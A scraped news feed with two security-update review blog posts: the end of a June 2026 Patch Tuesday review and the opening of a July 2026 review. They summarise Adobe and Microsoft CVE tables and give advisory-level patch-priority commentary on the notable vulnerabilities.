CVE-2026-45592 Windows Internet (wininet.dll) Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42903 Windows Kerberos Denial of Service Vulnerability Important 6.5 No No 3 DoS
CVE-2026-42914 Windows Kerberos Denial of Service Vulnerability Important 5.3 No No 2 DoS
CVE-2026-48583 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45653 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42984 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45600 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45604 Windows Managed Installer Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45595 Windows Mark of the Web Security Feature Bypass Vulnerability Important 5.4 No No 2 SFB
CVE-2026-45636 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-50508 Windows NTLM Spoofing Vulnerability Important 6.5 No No 1 Spoofing
CVE-2026-48565 Windows Narrator Braille Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44805 Windows Network Controller (NC) Host Agent Denial of Service Vulnerability Important 5.5 No No 3 DoS
CVE-2026-42981 Windows Performance Monitor Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-42974 Windows Performance Monitor Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-45487 Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42828 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42837 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42969 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 3 Info
CVE-2026-42971 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42970 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42973 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42978 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42977 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42979 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42991 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45639 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 7.5 No No 2 Info
CVE-2026-42908 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 7.5 No No 2 Info
CVE-2026-45593 Windows SDK Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42906 Windows Shell Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42907 Windows Shell Information Disclosure Vulnerability Important 6.5 No No 2 Info
CVE-2026-47648 Windows Storage Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42915 Windows TCP/IP Denial of Service Vulnerability Important 5.7 No No 2 DoS
CVE-2026-42904 Windows TCP/IP Elevation of Privilege Vulnerability Important 9.6 No No 3 EoP
CVE-2026-42968 Windows Telephony Server Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42912 Windows Telephony Service Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45597 Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45599 Windows UPnP Device Host Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-45635 Windows UPnP Device Host Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-40409 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-40404 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42989 Winlogon Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.

Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.

There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be.

Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls.

Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.

There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.

I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.

There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

 

]]> <![CDATA[The July 2026 Security Update Review]]> https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/ https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/ Sat, 25 Jul 2026 19:02:51 +0200 đŸ•”ïž Hacking tsecurity.de Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for July 2026

Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.

For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.

Here’s this month’s overview table:

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-82 Adobe ColdFusion 13 Critical 9.9 No 1
APSB26-73 Adobe Commerce 13 Critical 9.6 No 2
APSB26-78 Adobe After Effects 3 Critical 7.8 No 3
APSB26-83 Adobe Animate 6 Critical 8.6 No 3
APSB26-71 Adobe Audition 6 Critical 7.8 No 3
APSB26-81 Adobe Bridge 6 Critical 7.8 No 3
APSB26-77 Adobe Creative Cloud Desktop Application 2 Critical 8.1 No 3
APSB26-74 Adobe Experience Manager 13 Critical 9.6 No 3
APSB26-79 Adobe Illustrator 5 Critical 9.3 No 3
APSB26-72 Adobe Media Encoder 5 Critical 7.8 No 3
APSB26-76 Adobe Premiere Pro 4 Critical 7.8 No 3
APSB26-80 Content Credentials SDK 12 Critical 8.2 No 3
TOTAL 12 bulletins 88

While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here.

Microsoft Patches for July 2026

Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.

The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.

So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.

-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege Vulnerability
This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.

-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege Vulnerability
The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.

-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability
This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.

-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution Vulnerability
This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly.

-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability
This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there.

-    CVE-2026-55008 - Microsoft Exchange Server Spoofing Vulnerability
Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.

-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution Vulnerability
There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.

-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution Vulnerability
Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.

-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability
File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.

Here’s the full list of CVEs released by Microsoft for July 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited Type
CVE-2026-56155 Active Directory Federation Services Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-56164 Microsoft SharePoint Server Elevation of Privilege Vulnerability Moderate 5.3 No Yes EoP
CVE-2026-50661 Windows BitLocker Security Feature Bypass Vulnerability Important 6.1 Yes No SFB
CVE-2026-54121 Active Directory Certificate Services Elevation of Privilege Vulnerability Critical 8.8 No No EoP
CVE-2026-45499 ** Azure OpenAI Elevation of Privilege Vulnerability Critical 9.9 No No EoP
CVE-2026-48564 DHCP Server Service Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-50370 DHCP Server Service Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-56159 DHCP Server Service Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-50382 DirectX Graphics Kernel Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-41106 ** Microsoft 365 Copilot Elevation of Privilege Vulnerability Critical 9.3 No No EoP
CVE-2026-26145 ** Microsoft Azure Synapse Elevation of Privilege Vulnerability Critical 4.8 No No EoP
CVE-2026-48561 Microsoft Copilot Remote Code Execution Vulnerability Critical 9.6 No No RCE
CVE-2026-55011 Microsoft Defender Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55012 Microsoft Defender Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55944 Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-57100 ** Microsoft Entra Provisioning Service Elevation of Privilege Vulnerability Critical 9.9 No No EoP
CVE-2026-55041 Microsoft Excel Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-54998 ** Microsoft Exchange Online Elevation of Privilege Vulnerability Critical 8.8 No No EoP
CVE-2026-55008 Microsoft Exchange Server Spoofing Vulnerability Critical 9.6 No No Spoofing
CVE-2026-54992 Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-50314 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-50467 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55018 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55022 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55045 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-55049 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55129 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55056 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55140 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55043 Microsoft PowerPoint Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55123 Microsoft PowerPoint Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55120 Microsoft PowerPoint Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-50522 Microsoft SharePoint Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-58644 Microsoft SharePoint Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-55040 Microsoft SharePoint Server Security Feature Bypass Vulnerability Critical 9.1 No No SFB
CVE-2026-54117 Microsoft SQL Server Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-54118 Microsoft SQL Server Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-50655 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-56189 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-57090 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-57094 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-57087 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-57092 Microsoft Windows VMSwitch Elevation of Privilege Vulnerability Critical 9.9 No No EoP
CVE-2026-55033 Microsoft Word Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55127 Microsoft Word Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55132 Microsoft Word Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55010 Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-50474 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-49164 Windows Active Directory Domain Services Remote Code Execution Vulnerability Critical 8.1 No No RCE
CVE-2026-54128 Windows DHCP Client Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-50518 Windows DHCP Server Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-49796 Windows GDI+ Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-50380 Windows GDI+ Remote Code Execution Vulnerability Critical 9.6 No No RCE
CVE-2026-54127 Windows Hyper-V Elevation of Privilege Vulnerability Critical 7.4 No No EoP
CVE-2026-50680 Windows Hyper-V Elevation of Privilege Vulnerability Critical 8.2 No No EoP
CVE-2026-50327 Windows Media Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-58542 Windows Media Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-58608 Windows Print Spooler Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-54982 Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-54995 Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability Critical 8.1 No No RCE
CVE-2026-42982 Windows Secure Kernel Mode Elevation of Privilege Vulnerability Critical 7.8 No No EoP
CVE-2026-50392 Windows Secure Kernel Mode Elevation of Privilege Vulnerability Critical 7 No No EoP
CVE-2026-50694 Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability Critical 8.1 No No RCE
CVE-2026-56188 Windows Server Network driver Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-50444 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability Critical 8.8 No No EoP
CVE-2026-54999 Windows TCP/IP Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-47302 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50525 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50651 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-57108 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50524 .NET Framework Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50527 .NET Framework Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50648 .NET Framework Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50650 .NET Framework Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50646 .NET Framework Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50649 .NET Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-47304 .NET Security Feature Bypass Vulnerability Important 8.1 No No SFB
CVE-2026-50528 .NET Security Feature Bypass Vulnerability Important 8.2 No No SFB
CVE-2026-50659 .NET Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-50526 .NET Tampering Vulnerability Important 7 No No Tampering
CVE-2026-50682 Active Directory Denial of Service Vulnerability Important 7.1 No No DoS
CVE-2026-55001 Active Directory Domain Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50647 Active Directory Federation Server Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50684 Active Directory Federation Server Spoofing Vulnerability Important 4.8 No No Spoofing
CVE-2026-56170 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-47300 ASP.NET Core Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-47303 ASP.NET Core Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50652 Azure Active Directory Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50653 Azure Active Directory Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-57969 Azure CycleCloud Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58279 Azure CycleCloud Elevation of Privilege Vulnerability Important 6.5 No No EoP
CVE-2026-47632 Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50338 Azure Spring Apps Elevation of Privilege Vulnerability Important 8.2 No No EoP
CVE-2026-50488 Clipboard User Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50491 Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50381 Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50427 Content Delivery Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50692 Desktop Window Manager Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58633 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58634 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50296 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50375 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 6.3 No No EoP
CVE-2026-50353 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50493 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56643 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56644 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58629 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49174 DNS Client Tampering Vulnerability Important 6.1 No No Tampering
CVE-2026-50495 DNS Client Tampering Vulnerability Important 6.1 No No Tampering
CVE-2026-57088 Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50663 Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-47282 GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-41109 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-50510 GitHub Copilot Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49787 HTTP.sys Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50420 HTTP.sys Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-49788 HTTP/2 Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50696 Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-58617 M365 Copilot for iOS Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-58595 Microsoft Bing App for IOS Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-49162 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50305 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50361 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50466 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50458 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50658 Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-56178 Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability Important 5.5 No No EoP
CVE-2026-50657 Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability Important 4.7 No No Info
CVE-2026-50329 Microsoft DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58541 Microsoft DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58596 Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability Important 8.3 No No EoP
CVE-2026-57991 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Important 7.4 No No Info
CVE-2026-58291 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-57981 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-57984 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-57985 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.6 No No RCE
CVE-2026-57986 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-57988 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.1 No No RCE
CVE-2026-57992 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-58276 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-56645 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-57974 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-57975 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
